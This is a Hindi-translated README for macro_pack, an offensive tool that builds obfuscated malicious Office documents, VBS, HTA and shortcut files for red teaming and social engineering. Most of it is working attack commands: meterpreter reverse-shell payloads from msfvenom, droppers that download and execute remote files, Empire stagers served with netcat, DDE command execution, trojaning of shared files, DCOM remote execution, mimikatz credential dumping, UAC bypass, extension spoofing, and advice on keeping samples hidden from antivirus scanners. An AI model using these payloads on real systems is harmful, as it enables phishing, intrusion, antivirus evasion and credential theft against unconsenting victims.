macro_pack @EmericNasi द्वारा एक उपकरण है जिसका उपयोग Office दस्तावेज़ों, VB स्क्रिप्ट, शॉर्टकट और पेंटेस्ट, डेमो और सोशल इंजीनियरिंग मूल्यांकन के लिए अन्य प्रारूपों के अस्पष्टीकरण और निर्माण को स्वचालित करने के लिए किया जाता है। macro_pack का लक्ष्य शोषण को सरल बनाना, एंटीमैलवेयर बाईपास करना और दुर्भावनापूर्ण मैक्रो और स्क्रिप्ट निर्माण से अंतिम दस्तावेज़ निर्माण तक की प्रक्रिया को स्वचालित करना है। यह रेडटीम या सुरक्षा अनुसंधान के लिए उपयोगी कई सहायक सुविधाएँ भी प्रदान करता है।
sevagas/macro_pack
मैक्रोपैक कम्युनिटी एक उपकरण है जिसका उपयोग एमएस ऑफिस दस्तावेज़ या वीबीएस जैसे फॉर्मेट जैसे रेट्रो फॉर्मेट के अस्पष्टीकरण और निर्माण को स्वचालित करने के लिए किया जाता है। यह विभिन्न शॉर्टकट फॉर्मेट भी संभालता है। इस उपकरण का उपयोग रेड टीमिंग, पेंटेस्ट, डेमो और सामाजिक इंजीनियरिंग आकलन के लिए किया जा सकता है। मैक्रोपैक एंटीमैलवेयर समाधान बाईपास को सरल करेगा और वीबी स्रोत से अंतिम ऑफिस दस्तावेज़ या अन्य पेलोड प्रकार तक की प्रक्रिया को स्वचालित करेगा। इसका उपयोग करना बहुत सरल है:
यह उपकरण लोकप्रिय पेंटेस्ट उपकरणों (मेटास्प्लॉइट, एम्पायर, ...) द्वारा उत्पन्न पेलोड के साथ संगत है। इसे अन्य उपकरणों के साथ संयोजित करना भी आसान है क्योंकि stdin से इनपुट पढ़ना और किसी अन्य उपकरण के लिए शांत आउटपुट रखना संभव है। यह उपकरण Python3 में लिखा गया है और लिनक्स और विंडोज दोनों प्लेटफॉर्म पर काम करता है
नोट: ऑफिस दस्तावेज़ स्वचालित निर्माण या ट्रोजन सुविधाओं के लिए सही एमएस ऑफिस एप्लिकेशन स्थापित विंडोज प्लेटफॉर्म की आवश्यकता है।
यह उपकरण विभिन्न अस्पष्टीकरण तकनीकों का उपयोग करेगा, सभी स्वचालित। अस्पष्टीकरण सुविधाएँ सभी वीबीए और वीबीएस आधारित फॉर्मेट के साथ संगत हैं जो मैक्रोपैक द्वारा उत्पन्न किए जा सकते हैं। मूल अस्पष्टीकरण (-o विकल्प) में शामिल हैं:
मैक्रोपैक कई प्रकार के एमएस ऑफिस दस्तावेज़ और स्क्रिप्ट फॉर्मेट उत्पन्न कर सकता है। फॉर्मेट स्वचालित रूप से दिए गए फ़ाइल एक्सटेंशन के आधार पर अनुमान लगाया जाएगा। फ़ाइल निर्माण --generate या -G विकल्प का उपयोग करके किया जाता है। मैक्रोपैक प्रो संस्करण आपको मौजूदा ऑफिस फ़ाइलों को --trojan या -T विकल्प के साथ ट्रोजन करने की भी अनुमति देता है।
एमएस ऑफिस समर्थित फॉर्मेट हैं:
स्क्रिप्टिंग (txt) समर्थित फॉर्मेट हैं:
शॉर्टकट/शेल समर्थित फॉर्मेट हैं:
ध्यान दें कि सभी स्क्रिप्टिंग और शॉर्टकट फॉर्मेट (LNK को छोड़कर) मैक्रोपैक के लिनक्स संस्करण पर भी उत्पन्न किए जा सकते हैं।
इस सॉफ्टवेयर का उपयोग केवल रेड टीम अभियान, पेनिट्रेशन टेस्टिंग, फिशिंग सिमुलेशन, सुरक्षा अनुसंधान, या सुरक्षा मूल्यांकन के अन्य रूपों के संदर्भ में, सिस्टम मालिकों के कानूनी और औपचारिक प्राधिकरण के साथ किया जाना चाहिए। बिना पूर्व सहमति के लक्ष्यों पर हमला करने के लिए इस सॉफ्टवेयर का उपयोग निषिद्ध और अवैध है। सभी लागू स्थानीय, राज्य, संघीय और राष्ट्रीय कानूनों का पालन करना उपयोगकर्ता की जिम्मेदारी है। हम कोई दायित्व नहीं मानते हैं और इस सॉफ्टवेयर के उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
मैक्रोपैक की सभी क्षमताएं और विकल्प मैक्रोपैक कम्युनिटी पर उपलब्ध नहीं हैं। केवल कम्युनिटी संस्करण ऑनलाइन उपलब्ध है। प्रो संस्करण की विशेषताएं वास्तव में प्रक्रिया को "weaponizing" कर रही हैं, इसलिए उनकी पहुंच पेशेवरों तक सीमित है। प्रो मोड में निम्नलिखित विशेषताएं शामिल हैं:
कुछ छोटे डेमो वीडियो BallisKit Vimeo चैनल पर उपलब्ध हैं।
महत्वपूर्ण: यदि आप मैक्रोपैक प्रो के बारे में मुझसे संपर्क करना चाहते हैं, तो मेरा emeric.nasi [at] sevagas.com ईमेल पता उपयोग करें। मैं प्रो संस्करण के लिए गुमनाम पूछताछ का उत्तर नहीं दूंगा, केवल पेशेवर ईमेल का।
### स्रोतों से स्थापित करें
MacroPack बनाने के लिए आपको Windows मशीन पर होना चाहिए। निर्भरताएँ डाउनलोड और स्थापित करें:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
यह उपकरण python 3 में है, इसलिए बस अपने python3 इंस्टॉल से शुरू करें। उदाहरण:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
यदि आप pyinstaller का उपयोग करके एक स्टैंडअलोन exe बनाना चाहते हैं:
* pyinstaller इंस्टॉल करें: pip install pyinstaller
* "build.bat" स्क्रिप्ट पर डबल-क्लिक करें।
परिणामी macro\_pack.exe **bin** निर्देशिका के अंदर होगा।
## कुछ उदाहरण
### मैक्रोपैक सामुदायिक
- सभी समर्थित फ़ाइल स्वरूपों की सूची बनाएं```bash
macro_pack.exe --listformats
- msfvenom द्वारा उत्पन्न vba फ़ाइल को अस्पष्ट करें और परिणाम को एक नई VBA फ़ाइल में रखता है।```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- एक MS Excel फ़ाइल बनाएं जिसमें एक अस्पष्ट ड्रॉपर हो (payload.exe डाउनलोड करें और dropped.exe के रूप में संग्रहीत करें)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- डाउनलोड करें और Empire Launcher stager को powershell.exe के बिना DROPPER_PS टेम्पलेट का उपयोग करके निष्पादित करें```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE demo"></p>
- पॉवरशेल का उपयोग करके डायनामिक डेटा एक्सचेंज (DDE) हमले के माध्यम से फ़ाइल डाउनलोड और निष्पादित करें```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY डेमो"></p>
- अस्पष्ट meterpreter रिवर्स टीसीपी VBS फ़ाइल उत्पन्न करें और इसे चलाएं ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- URL शॉर्टकट जनरेट करें जो क्लिक करने पर एक स्थानीय HTA फ़ाइल को निष्पादित करता है```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### कुछ MacroPack Pro उदाहरण
- मौजूदा साझा "report.xlsm" फ़ाइल को ड्रॉपर के साथ ट्रोजन करें। anti-AV और anti-reverse सुविधाओं का उपयोग करें।```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- एक रिवर्स रॉ शेलकोड के साथ पावरपॉइंट फ़ाइल को ट्रोजन करें। मैक्रो को AMSI और अधिकांश एंटीवायरस को बायपास करने के लिए ऑब्सफ्यूसकेटेड और मैंगल किया गया है।```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## सभी सामुदायिक संस्करण विकल्प```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
टेम्पलेट को -t, --template=TEMPLATE_NAME का उपयोग करके अन्य विकल्पों के साथ बुलाया जा सकता है।
यहाँ सभी उपलब्ध टेम्पलेट हैं।
बस एक हैलो संदेश और मैक्रो के बारे में जागरूकता प्रिंट करें।
इस टेम्पलेट को लेखक का नाम या ईमेल दें:
-> उदाहरण: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
एक कमांड निष्पादित करें।
इस टेम्पलेट को एक कमांड लाइन दें:
-> उदाहरण (पॉप calc.exe एक xslt फ़ाइल से): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
एक कमांड लाइन निष्पादित करें और परिणाम दूरस्थ HTTP सर्वर पर भेजें।
इस टेम्पलेट को सर्वर url और चलाने के लिए कमांड दें:
-> उदाहरण: ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
एक फ़ाइल डाउनलोड करें और निष्पादित करें।
इस टेम्पलेट को फ़ाइल URL और लक्ष्य फ़ाइल पथ दें।
-> Example: ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
रंडल32 का उपयोग करके पावरशेल स्क्रिप्ट डाउनलोड करें और निष्पादित करें (अवरुद्ध powershell.exe को बायपास करने के लिए)।
नोट: यह पेलोड Github से PowerShdll डाउनलोड करेगा।
इस टेम्पलेट को वह URL दें जिस पावरशेल स्क्रिप्ट को आप चलाना चाहते हैं:
-> Example: ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
एक DLL को दूसरे एक्सटेंशन के साथ डाउनलोड करें और Office VBA का उपयोग करके चलाएं।
-> Example, load meterpreter DLL using Office:```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Cn33liz द्वारा MacroMeter का उपयोग करके Meterpreter रिवर्स TCP टेम्पलेट।
यह टेम्पलेट Cn33liz द्वारा निर्मित CSharp meterpreter stager है और James Forshaw के DotNetToJScript का उपयोग करके VBA में एम्बेड किया गया है।
इस टेम्पलेट को चलाने के लिए, लिसनिंग mfsconsole के IP और PORT दर्ज करें:
-> उदाहरण: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
यह टेम्पलेट Metasploit हैंडलर बनाने के लिए meterpreter.rc फ़ाइल भी उत्पन्न करता है।
-> उदाहरण: msfconsole -r meterpreter.rc
एक एम्बेडेड फ़ाइल को छोड़ें (drop) और चलाएँ।
--embed विकल्प के साथ उपयोग करें। यह एम्बेडेड फ़ाइल को TEMP फ़ोल्डर में यादृच्छिक नाम से छोड़ेगा और चलाएगा।
-> उदाहरण: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
--embed विकल्प के साथ उपयोग करें। यह दी गई DLL में फ़ंक्शन को छोड़ेगा और कॉल करेगा।
इस टेम्पलेट को DLL में कॉल करने के लिए फ़ंक्शन का नाम और पैरामीटर दें।
-> उदाहरण1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> उदाहरण2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
विभिन्न सुविधाओं का परीक्षण स्थानीय रूप से स्थापित एंटीमैलवेयर समाधानों और ऑनलाइन सेवाओं पर किया गया।
मैंने कई प्रकार के पेलोड और MacroPack सुविधाओं के साथ कई परीक्षण चलाए।
अधिकांश एंटीवायरस स्थैतिक को सरल "obfuscate" विकल्प द्वारा टाला जा सकता है।
हालांकि, अधिकांश मुफ्त उपकरणों की तरह, पेलोड आमतौर पर AMSI जैसे व्यवहारिक विश्लेषण द्वारा पकड़े जाते हैं।
MacroPack प्रो मोड में उपलब्ध सुविधाएँ आमतौर पर AMSI सहित पूर्ण एंटीवायरस बाईपास की अनुमति देती हैं।
चेतावनी: अपने नमूनों को ऑनलाइन स्कैनर (जैसे VirusTotal) में सबमिट न करें, यह आपके स्टेल्थ मैक्रो को तोड़ने का सबसे अच्छा तरीका है।
मैं यह भी सुझाव देता हूँ कि आप NoDistribute जैसी गैर-रिपोर्टिंग साइटों पर सबमिट न करें।
आप यह सुनिश्चित नहीं कर सकते कि ये साइटें आपके द्वारा सबमिट किए गए डेटा के साथ क्या करेंगी। यदि आपको macro_pack एंटीवायरस डिटेक्शन के साथ कोई समस्या है, तो आप सलाह के लिए हमें लिख सकते हैं या कोई issue या pull request सबमिट कर सकते हैं।
MacroPack Pro के बारे में ब्लॉग पोस्ट:
MS Office, VBS और अन्य रेट्रो स्टफ सुरक्षा से जुड़ी हैकिंग पर ब्लॉग पोस्ट:
अन्य उपयोगी लिंक:
बेझिझक मुझे मेरे Twitter अकाउंट @EmericNasi पर संदेश भेजें।
ईमेल:
महत्वपूर्ण: यदि आप MacroPack Pro के बारे में मुझसे संपर्क करना चाहते हैं, तो मेरा sevagas.com ईमेल पता उपयोग करें।
कृपया ध्यान दें कि मैं Pro संस्करण के लिए गुमनाम पूछताछ का उत्तर नहीं दूंगा, केवल पेशेवर ईमेल का।
कॉपीराइट 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)